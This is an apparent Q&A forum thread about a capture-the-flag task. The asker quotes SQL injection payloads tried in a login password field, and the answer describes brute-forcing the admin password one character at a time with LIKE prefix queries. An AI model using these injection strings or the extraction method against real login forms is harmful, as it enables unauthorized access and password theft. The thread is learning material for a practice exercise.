1

As part of a capture-the-flag assignment, I'm supposed to perform SQL injection using the LIKE clause to obtain the flag. I'm new to this and I've tried the following injections:

(The username required to login is 'admin', so I've performed the following injections in the password field)

  1. '; SELECT password FROM users WHERE username LIKE 'admin%'; --
  2. ' OR '1'='1 (I ignored the LIKE clause)

I've also tried variants of (1.) but I'm still stuck.

Is there something I'm missing? Any hints would be appreciated!

PS: I don't have the database schema or table layout

2

You are suposed to bruteforce the password using the following algorithm:

SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

And so on. You can write a simple python program that does that automatically :)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.